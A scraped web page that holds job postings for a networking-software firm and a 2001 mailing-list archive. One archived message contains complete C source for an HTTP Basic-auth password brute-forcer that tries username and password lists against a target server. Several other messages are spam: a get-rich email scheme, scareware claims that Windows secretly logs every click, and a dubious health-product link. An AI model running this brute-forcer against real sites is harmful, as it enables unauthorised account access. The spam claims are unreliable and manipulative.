CURRENT OPENINGS:

Marketing

• Director, Product Management
• Manager, Marketing Communications

• Senior Software Engineer — Server Software
• Senior Software Engineer — Security
• Senior Software Engineer — Protocol
• Senior Software Engineer — High Availability
• Senior Software Engineer — Embedded Network Systems
• Senior Software Engineers — System Management Framework
• Systems Support Engineer

Marketing:

Director, Product Management - Apply

Reporting to the Vice President of Marketing this position has the responsibility for working with customers and researching key market trends to define product needs and requirements and develop the overall product strategy and implementation plans. The ideal candidate is a self-starter familiar with software development relating to Internet service design and deployment and/or network operating systems. This includes defining product requirements, competitive analysis, managing the engineering and product teams through the development and release process, pricing the offering, establishing packaging and creating product collateral, manufacturing plans and forecasting revenue to meet the companies financial goals and objectives. Management across lifecycle from concept through introduction working as the technology expert interfacing with engineering, technical support, business development, training, documentation and marketing groups to ensure that product strategies and release planning efforts are correctly calibrated for successful launch and maintenance. The candidate will be responsible for hiring and creating the organization in cooperation with the Vice President of Marketing.

Qualifications:

Must have in-depth technical knowledge and familiarity with Internet infrastructure, services design and deployment and/or networking software with 7+ years experience in product management with a proven track record. Candidate must be a creative thinker with hands on planning and analytical skills as well as solid verbal and written communication skills.
 
 

Manager, Marketing Communications - Apply

The individual is responsible for concept, design and development of merchandising and promotional materials including: brochures, company backgrounders, white papers, web sites, direct mail and newsletters. Additional responsibilities include managing trade shows, company sponsored seminars, analyst presentation materials, press kits, etc. The successful candidate must be capable working with engineering and product management teams.

Qualifications:

The candidate should have 3-5 years experience in marketing communications for technology or Internet-based company. He or she must have a superior eye for design as well as excellent verbal and written skills. Capable of working in a fast paced environment. Experience managing events as well as familiarity with the overall collateral production process. The individual should have established connections with design and production houses.
 
 

ENGINEERING:

Senior Software Engineer, Server Software - Apply

The Engineering Team is looking for a senior software engineer. This position poses a huge opportunity for innovation in the new field of Device based e-services infrastructure. It provides the opportunity to work for the future product and architecture leader in this industry.

Responsibilities:

Design and develop scalable, reliable and portable server software. Perform System and Protocol Performance analysis and tuning

Qualifications:

BS/MS or PhD in EE, CE, CS, Physics or Mathematics equivalent 5-8+ years design and development experience 2+ years object oriented (preferably Java or also C++) design and development Expert in designing and developing enterprise-quality software products for Web backend including networking connectivity Team player familiar with iterative development processes and skilled in accurately scoping and sizing tasks Familiar with embedded systems a plus Understanding of distributed network applications Exposure to one or more of these technologies a plus: Internet Security (RC4, RSA, SSL ...), High Availability, DHCP, LDAP, SNMP, Kerberos network management applications, XML, Jini, UPnP
 

Senior Software Engineer, Security - Apply

The Engineering Team is looking for a senior software engineer. This position poses a huge opportunity for innovation in the new field of Device based e-services infrastructure. It provides the opportunity to work for the future product and architecture leader in this industry.

Responsibilities:

Design and develop scalable and cost effective security architecture for authentication and encryption between server and devices. Design and develop device to server security protocol. Carry out System and Protocol Performance analysis and tuning

Qualifications:

BS/MS or PhD in EE, CE, CS, Physics or Mathematics equivalent
(5-8+ years design and development experience
2+ years object oriented (preferably Java or also C++) design and development Expert in internet security
Expert with networking protocols (TCP/IP, IPSEC, DNS, )
Team player familiar with iterative development processes and skilled in accurately scoping and sizing tasks.
Familiar and active with standardization process.
Understanding of distributed network applications
Additional exposure to one or more of these technologies a plus: High Availability, DHCP, LDAP, SNMP, Kerberos, XML, Jini, UPnP
 
 

Senior Software Engineer, Protocol - Apply

The Engineering Team is looking for a senior software engineer. This position poses a huge opportunity for innovation in the new field of Device based e-services infrastructure. It provides the opportunity to work for the future product and architecture leader in this industry.

Responsibilities:

Design and develop scalable & robust application-level protocols for networked. Design and develop software for a very highly scalable object-oriented architecture. Work on System and Protocol Performance analysis and tuning

Qualifications:

BS/MS or PhD in EE, CE, CS, Physics or Mathematics equivalent
5-8+ years design and development experience
2+ years object oriented (preferably Java or also C++) design and development
Expert in designing and developing networking protocols (TCP/IP, IPSEC, DNS, Promela, )
Team player familiar with iterative development processes and skilled in accurately scoping and sizing tasks
Familiar with object oriented analysis and design techniques ? Familiar with embedded systems a plus
Familiar and active with standardization process
Understanding of distributed network applications
Exposure to one or more of these technologies a plus: Internet Security (RC4, RSA, SSL ...), High Availability,
DHCP, LDAP, SNMP, Kerberos network management applications, XML, Jini, UPnP
 

Senior Software Engineer, Server Software - High Availability - Apply

The Engineering Team is looking for a senior software engineer. This position poses a huge opportunity for innovation in the new field of Device based e-services infrastructure. It provides the opportunity to work for the future product and architecture leader in this industry.

Responsibilities:

Design and develop High Availability algorithms and protocols, tools and software for a very highly scalable object-oriented architecture. Work on System and Protocol Performance analysis and tuning.

Qualifications:

BS/MS or PhD in EE, CE, CS, Physics or Mathematics equivalent
5-8+ years design and development experience
2+ years object oriented (preferably Java or also C++) design and development
Expert in designing and developing high availability algorithms and solutions
Expert with networking protocols (TCP/IP, IPSEC, DNS, ) Team player familiar with iterative development processes and skilled in accurately scoping and sizing tasks
Familiar with embedded systems a plus
Understanding of distributed network applications
Additional exposure to one or more of these technologies a plus: Internet Security (RC4, RSA, SSL ...), DHCP, LDAP, DNS, network management applications, XML, Jini, UpnP
 

Senior Software Engineer - Embedded Network - Apply

Systems Engineering Team is looking for a senior software engineer. This position poses a huge opportunity for innovation in the new field of Device based e-services infrastructure. It provides the opportunity to work for the future product and architecture leader in this industry. Develops embedded networking, kernel, and I/O software providing protocol-level network services.

Responsibilities:

Develop embedded Internet software, including networking and application level protocols, drivers for Ethernet, serial port and other I/O hardware. Embedded system debugging/bring up and network security protocol implementation.

Qualifications:

BS/MS or PhD in EE, CE, CS, Physics or Mathematics equivalent
5-8+ years design and development experience
2+ years of C/C++ and embedded software development experience with one or more embedded OS ? demonstrable understanding of kernel operational details such as memory allocation and process management.
Experience developing network I/O hardware drivers; enhancing or modifying TCP/IP stacks, especially in the area of network interface configuration (e.g. DHCP, UPnP).
Implementation experience with SSL/TLS, IPSec
 

Senior Software Engineers - System Management - Apply

The Engineering Team is looking for a senior software engineer. This position poses a huge opportunity for innovation in the new field of Device based e-services infrastructure. It provides the opportunity to work for the future product and architecture leader in this industry.

Responsibilities:

Develop software for a multi-tier object-oriented architecture. Define functional requirements contribute to continuous improvement of development process Qualifications:
BS/MS or PhD in EE, CE, CS, Physics or Mathematics equivalent
4-8+ years design and development experience
2+ years of direct responsibility for Java application design and development.
Expert in system management software
Team player familiar with iterative development processes and skilled in accurately scoping and sizing tasks
Familiarity with object oriented analysis and design techniques. Understanding of distributed network applications.
Exposure to one or more of these technologies a plus: CIM, LDAP, network management applications, XML, Jini, UpnP.
 
 

Systems Engineer - Networking Hardware - Apply

Designs and implements board level embedded networking solution. Assists with chip design, verification, debug and characterization.

Responsibilities:

Create systems level hardware solutions for internet-embedded products. Systems hardware design, coordinate board layout, fab, and assembly through outsourcing, prototype hardware development and evaluation board design and fab Qualifications: Minimum of 5 years with Communication/Networking solutions, TCP/IP. Embedded system hardware design, board level design, C/C++ experience.
 
 

Systems Support Engineer - Apply

This person provides computer and network systems support for development and administrative staff

Responsibilities:

In consultation with development personnel, specify, recommend, and procure workstations, servers, network equipment, and systems/network infrastructure software. Configure and maintain all internal systems, including file servers, computer servers, workstations, and network infrastructure. Define and implement information security and data protection processes. Troubleshoot and repair information systems components as necessary. Configure and maintain external web server.

Qualifications:

Minimum of 3 years experience in an IS support and network administration role for one or more engineering teams. Requires OS management experience with Solaris, Linux, and Windows NT. Must have recent experience defining and implementing network security solutions. Capable of working collaboratively with development teams to solve infrastructure problems and develop procedures for engineering support

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: Laurent INFOS (infosaql.fr)
Date: Thu May 03 2001 - 00:40:48 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

/************************************************************
 ** HTTP brute force cracker **
 ************************************************************

  When a directory on a website is protected by a basic
  authentication, we have to enter a valid username/password
  to get the page.

  This program tries a list a logins and passwords.

  For example, the file /tmp/userlist may contain (only a word
  by line):
joe
webadm
marco

  For example, the file /tmp/passlist may contain :
house
horse
flour

  So, if we want to access to http://server:80/index.html,
  we can use :
   ./httpgetbrute server 80 /index.html /tmp/userlist /tmp/passlist

  This program prints result of the brute force.
   
  The library lcrzo is needed :
    http://www.laurentconstantin.com/us/lcrzo/ [main server]
    http://go.to/laurentconstantin/us/lcrzo/ [backup server]
    http://laurentconstantin.est-la.com/us/lcrzo/ [backup server]

  To compile :
    gcc -o httpgetbrute httpgetbrute.c -llcrzo -lpcap

  This program is for educational purposes only.
 */

/* include the library headers */
#include <lcrzo.h>
#include <stdlib.h>
#include <stdio.h>

/*-------------------------------------------------------------*/
/* function declarations */
int http_get_brute(lcrzo_ipl ipl,
                   lcrzo_uint16 port,
                   lcrzo_conststring url,
                   lcrzo_conststring user,
                   lcrzo_conststring pass);

/*-------------------------------------------------------------*/
int main(int argc, char *argv[])
{ lcrzo_ipl ipl;
  lcrzo_uint16 port;
  lcrzo_data data;
  lcrzo_string user, pass;
  lcrzo_int32 datasize;
  int fduser, fdpass;

  if ( argc<6 )
  { /* print usage */
    printf("Usage: %s server_name server_port url usernamesfile passwdsfile\n",
           argv[0]);
    printf("Example: %s 1.2.3.5 80 /index.html /tmp/userlist /tmp/passlist\n",
           argv[0]);
    puts("Files userlist and passlist should contain one entry per line.");
    return(255);
  }

  /* initialize the needed variables */
  lcrzo_epr(lcrzo_ipl_init_hs(argv[1], &ipl));
  port=(lcrzo_uint16)atoi(argv[2]);
  lcrzo_epr(lcrzo_fd_open_read(argv[4], &fduser));

  /* read each line of the files */
  while ( lcrzo_fd_readm_line(fduser, LCRZO_TRUE, &data, &datasize)
          == LCRZO_ERR_OK )
  { user=data;
    user[datasize]='\0';
    /* first, try with pass=="" */
    lcrzo_epr(http_get_brute(ipl, port, argv[3], user, ""));
    /* then, try with pass==login */
    lcrzo_epr(http_get_brute(ipl, port, argv[3], user, user));
    /* then try each password of the file */
    lcrzo_epr(lcrzo_fd_open_read(argv[5], &fdpass));
    while ( lcrzo_fd_readm_line(fdpass, LCRZO_TRUE, &data, &datasize)
          == LCRZO_ERR_OK )
    { pass=data;
      pass[datasize]='\0';
      lcrzo_epr(http_get_brute(ipl, port, argv[3], user, pass));
      lcrzo_string_free(pass);
    }
    lcrzo_epr(lcrzo_fd_close(fdpass));
    lcrzo_string_free(user);
  }

  /* close */
  lcrzo_epr(lcrzo_fd_close(fduser));
  return(LCRZO_ERR_OK);
}

/*-------------------------------------------------------------*/
int http_get_brute(lcrzo_ipl ipl,
                   lcrzo_uint16 port,
                   lcrzo_conststring url,
                   lcrzo_conststring user,
                   lcrzo_conststring pass)
{ static lcrzo_int32 numtest=0;
  lcrzo_sock sock;
  lcrzo_data data;
  lcrzo_int32 datasize;
  lcrzo_string logpass, integerstring, errormsg;
  lcrzo_int16 errornumber;
  lcrzo_regexp re;
  int ret;

  /* first, we generate the base64 of login:passwd */
  lcrzo_epr(lcrzo_data_initm_text(user, &data, &datasize));
  lcrzo_epr(lcrzo_data_appendm_text(":", datasize, &data, &datasize));
  lcrzo_epr(lcrzo_data_appendm_text(pass, datasize, &data, &datasize));
  lcrzo_epr(lcrzo_base64_initm_data(data, datasize, &logpass));
  lcrzo_data_free(data);

  /* open the connection */
  lcrzo_epr(lcrzo_sock_tcpcli_real(ipl, port, &sock));
  
  /* construct the data to send*/
  lcrzo_epr(lcrzo_data_initm_text("GET ", &data, &datasize));
  lcrzo_epr(lcrzo_data_appendm_text(url, datasize, &data, &datasize));
  lcrzo_epr(lcrzo_data_appendm_text(" HTTP/1.0\r\n", datasize,
                                    &data, &datasize));
  lcrzo_epr(lcrzo_data_appendm_text("Authorization: Basic ", datasize,
                                    &data, &datasize));
  lcrzo_epr(lcrzo_data_appendm_text(logpass, datasize, &data, &datasize));
  lcrzo_string_free(logpass);
  lcrzo_epr(lcrzo_data_appendm_text("\r\n", datasize, &data, &datasize));
  lcrzo_epr(lcrzo_data_appendm_text("\r\n", datasize, &data, &datasize));

  /* write data to the socket */
  /*lcrzo_epr(lcrzo_data_print(data, datasize, LCRZO_PRINTTYPE_DUMP));*/
  lcrzo_epr(lcrzo_sock_write(sock, data, datasize));
  lcrzo_data_free(data);

  /* analyze the answer */
  lcrzo_epr(lcrzo_sock_readm_line(&sock, LCRZO_TRUE, &data, &datasize));
  /*lcrzo_epr(lcrzo_data_print(data, datasize, LCRZO_PRINTTYPE_TEXTN));*/
  ret=lcrzo_data_search_regexp(data, datasize, LCRZO_FALSE, +1, -1,
                               "HTTP/... ([0-9]+) (.+)", re);
  if ( ret==LCRZO_ERR_OK )
  { /* get the error number */
    lcrzo_epr(lcrzo_string_initm_range(data, re[1].startindex_positive,
                                       re[1].endindex_positive,
                                       &integerstring));
    errornumber=atoi(integerstring);
    lcrzo_string_free(integerstring);
    /* print result */
    if ( errornumber!=401 )
    { /* get the error message */
      lcrzo_epr(lcrzo_string_initm_range(data, re[2].startindex_positive,
                                         re[2].endindex_positive,
                                         &errormsg));
      printf("%s\t%s\t-> %d (%s)\n", user, pass, errornumber, errormsg);
      lcrzo_string_free(errormsg);
    }
    else
    { numtest++;
      if ((!(numtest%10)) || numtest<10) printf("%ld passwd tried\n", numtest);
    }
  }
  else
  { puts("I could not understand this anwser :");
    lcrzo_epr(lcrzo_data_print(data, datasize, LCRZO_PRINTTYPE_TEXTN));
  }
  lcrzo_data_free(data);

  /* close */
  lcrzo_epr(lcrzo_sock_close(sock));

  return(LCRZO_ERR_OK);
}

---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: thekid?nowhere.com
Date: Wed May 02 2001 - 23:13:59 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

Dear coderpunkstoad.com,

Hello
This message is being sent because you either sent/or requested this
information from me.
Due to enormous client list, I can only take serious applicants at this
time. I am offering a full or part-time position in processing email. You
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with internet/email functions. As to the salary, it's totally up to you, as
you will be running your own business, the sky is the limit. What you will
see represents a totally legal money making business that anyone can
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You will receive full instructions, and I will always be available to help
you and answer your questions. This is a genuine home business. This is not
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will generate a residual income of $2,000 to $6,000 every month with only
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To prove my confidence and sincerity in this opportunity, there is NO CHARGE
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If the above opportunity interests you in the least, and you would like more
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(infomillionaireintraining.com) and type "FORWARD PROJECT 21 INFO" in the Subject
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Insert your full name, your correct email address, and any specific
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I look forward to your response.
Sincerely,
infomillionaireintraining.com

---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: R. A. Hettinga (rahshipwright.com)
Date: Fri May 04 2001 - 04:24:43 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

--- begin forwarded text

From: Somebody
To: "R. A. Hettinga" <rahshipwright.com>
Subject: ESpeed has exclusive rights to the Wagner patent
Date: Fri, 4 May 2001 09:54:55 +0100

Bob, I didn't track where I found this story.... <Somebody>

ESpeed patent
ESpeed has purchased a patent that plays a crucial role in the trading of
futures products. ESpeed has exclusive rights to the Wagner patent from
Electronic Trading Systems (ETS) which deals with electronic futures trading
in the US including, but not limited to, energy futures, interest rate
futures, single stock futures and equity index futures. ESpeed operates the
Cantor Exchange, the first fully electronic futures exchange in the US.

--- end forwarded text

-- 
-----------------
R. A. Hettinga <mailto: rahibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'

---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: sao19677terra.com.br
Date: Fri May 04 2001 - 06:44:09 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

Is this really related to David Wagner's blind signature
algorithm, or is it a misnomer? I seem to remember David
himself declared his technique was *not* patented.

Paulo Barreto.

> --- begin forwarded text
>
>
> From: Somebody
> To: "R. A. Hettinga" <rahshipwright.com>
> Subject: ESpeed has exclusive rights to the Wagner patent
> Date: Fri, 4 May 2001 09:54:55 +0100
>
> Bob, I didn't track where I found this story.... <Somebody>
>
> ESpeed patent
> ESpeed has purchased a patent that plays a crucial role in the trading of
> futures products. ESpeed has exclusive rights to the Wagner patent from
> Electronic Trading Systems (ETS) which deals with electronic futures trading
> in the US including, but not limited to, energy futures, interest rate
> futures, single stock futures and equity index futures. ESpeed operates the
> Cantor Exchange, the first fully electronic futures exchange in the US.
>
> --- end forwarded text
>
>
> --
> -----------------
> R. A. Hettinga <mailto: rahibuc.com>
> The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
> 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
>

---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: R. A. Hettinga (rahshipwright.com)
Date: Fri May 04 2001 - 07:42:50 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

At 8:44 AM -0300 on 5/4/01, sao19677terra.com.br wrote:

> Is this really related to David Wagner's blind signature
> algorithm, or is it a misnomer?

I went looking, both at the ESpeed website, and at the (former) IBM patent
server. You're right. It isn't.

The patent, 4,903,201, registered to one *Susan* Wagner, of Texas, and it's
for a commodities trading/open-outcry system.

As you noted, David Wagner's blinding algorithm is *not* patented, and,
according to a law prof at Berkeley, not subject to any other patents as
well. It'll be interesting to see how that holds up in court, of course.

I plead an early morning for my poor memory for such things, yer honor --
and the usual itchy forward-finger...

Cheers,
RAH

-- 
-----------------
R. A. Hettinga <mailto: rahibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'

---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: V.Z. Nuri (vznuriyahoo.com)
Date: Fri May 04 2001 - 16:03:31 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

hi, an invitation for you to check out &/or join
the theory-edge mailing list

http://groups.yahoo.com/group/theory-edge/

we discuss cutting edge algorithmic and mathematical
topics. 3000 msgs, 3years, 425 subscribers.

P=?NP problem is a big topic. strong practical
side such as robotic control advances. focus
on media news that fits in.

especially seeking academic oriented subscribers/
contributers. we have many masters/phd students
on the list, and two world-class scientist
"celebrities" have posted in the past, one of them
still active.

the archives are open & searchable & you can
see what inspired past traffic.

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/

---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: uyvy822barabia.com
Date: Sat May 05 2001 - 11:29:16 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

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---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: uyvy822barabia.com
Date: Sat May 05 2001 - 11:30:32 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

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http://www.geocities.com/penisgrowth2001/


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---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: TonerCity USA (tcityswbell.net)
Date: Sat May 05 2001 - 08:34:27 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

Spring Sale...
Buy any type of toner at wholesale prices.
If you own or lease any brand of copier, fax
or printer you can get preferred pricing on all
our toner products. Just call, email or fax us
a list of the items you need and we'll return a
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TonerCity USA
Toll Free: 1-866-FastToner (327-8866)
Fax Number: 972-437-5096
Email Address: tcityswbell.net
Web Site: www.tonercity.com

PS...Our website will include a shopping basket
and secured credit card system soon. Please
contact us for a quick quote. Thank you.

---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: TonerCity USA (tcityswbell.net)
Date: Sat May 05 2001 - 10:53:09 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

Spring Sale...
Buy any type of toner at wholesale prices.
If you own or lease any brand of copier, fax
or printer you can get preferred pricing on all
our toner products. Just call, email or fax us
a list of the items you need and we'll return a
quote immediately. We send out all orders
the same day and shipping is FREE.

TonerCity USA
Toll Free: 1-866-FastToner (327-8866)
Fax Number: 972-437-5096
Email Address: tcityswbell.net
Web Site: www.tonercity.com

PS...Our website will include a shopping basket
and secured credit card system soon. Please
contact us for a quick quote. Thank you.

---

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
From: zrqmzvsecurity.com
Date: Wed Apr 18 2001 - 02:29:42 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

Do you want your family or the authorities to find out what sites you surfed?
Did you download any "warez" or MP3 lately?
Did you access barely legal or illegal web sites by mistake?
Did someone load a console or a banner on your browser with illegal material?

Remember, you are NEVER safe!!!

Did you know for example that every click you make on Windows 98 Start Menu
is logged and stored permanently on a hidden encrypted database within your own computer?
 
YOUR COMPUTER IS SPYING ON YOU!!!
unless you got
Evidence Eliminator
http://eliminator.cpa-site.com

If you take your computer in for repair, what will they find?
Think about it !
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From: lcs Mixmaster Remailer (mixanon.lcs.mit.edu)
Date: Fri Apr 27 2001 - 21:20:02 CDT

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One of the papers at Eurocrypt 2001 will be a new credential system by
Jan Camenisch and Anna Lysyanskaya. It is available from Jan's page
at http://www.zurich.ibm.com/~jca/publications.html.

Each player creates a numerical pseudonym with organization O, of the
form P = a_O^xu * b_O^s, mod n_O. (n_O is an RSA modulus belonging to
the organization, a_O and b_O are group elements < n_O, xu is the user's
secret identiy value, and s is a random blinding factor).

The idea is that the xu value is supposed to be the same for all the
user's pseudonyms. If so, then when the user gets a credential on one
of his pseudonyms, he can show it with regard to any of the others.

The credential is an RSA signature by O on P * d_O, where d_O is a
constant value chosen by O. The RSA signature uses a random exponent
e_O, different for each credential.

Using these values, a user with a credential on one of its pseudonyms
can show it on another by exhibiting a ZK proof. When he shows the
credential it is at another organization O' where he has a different
pseudonym P'. The user shows that he knows a value P such that both
P and P' are of the proper form above, and share the same xu value.
Furthermore, he knows an RSA signature on P' * d_O issued by O, with
some particular exponent e. All these proofs are zero knowledge and
the user does not actually reveal P or e or xu.

The net result is that he can convince O' that he has a credential issued
by O on another of his pseudonyms, while showing only his P' pseudonym
with O'.

The cool thing is that this can also be used as an ecash system, one that
doesn't use blind signatures. The pseudonym gets another term multiplied,
and information about that term is revealed openly during the credential
showing. This transforms the credential into a one-show credential,
in that any showing of the same credential must reveal that same value.

A one-show credential is essentially the same as an online ecash coin.
Issuing the credential is like issuing a coin, and showing the one-show
credential is like spending the coin. The revealed value during the
showing must be kept in a "spent coins" list as with other online ecash
systems.

Although it sounds complicated, the computation required is quite
practical. According to the authors, with an RSA modulus of 1024 bits,
a credential-pseudonym pair is about 4K bits, and showing possession of
a credential takes about 22 exponentiations total for both parties.

The paradigm of replacing blinding during withdrawal with ZK proof during
spending seems to be a promising alternative to the many blind signature
patents which cover electronic cash.

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From: cursos-master (cursosinfotec.com)
Date: Sat May 05 2001 - 20:32:55 CDT

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